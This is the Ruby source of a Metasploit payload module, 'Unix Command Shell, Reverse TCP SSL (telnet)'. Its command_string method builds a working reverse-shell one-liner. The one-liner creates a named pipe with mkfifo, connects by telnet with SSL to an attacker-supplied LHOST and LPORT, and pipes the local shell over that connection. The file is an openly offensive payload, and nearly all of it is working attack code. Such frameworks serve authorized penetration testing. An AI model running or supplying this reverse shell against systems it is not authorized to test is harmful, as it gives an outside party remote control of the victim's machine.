modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
'Description' => %q{
Creates an interactive shell via mkfifo and telnet.
This method works on Debian and other systems compiled
without /dev/tcp support. This module uses the '-z'
option included on some systems to encrypt using SSL.
},
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'telnet',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
register_advanced_options(
[
OptString.new('TelnetPath', [true, 'The path to the telnet executable', 'telnet'])
]
)
end
#
# Constructs the payload
#
def generate(_opts = {})
vprint_good(command_string)
super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 )
"mkfifo #{pipe_name} && #{datastore['TelnetPath']} -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
end
end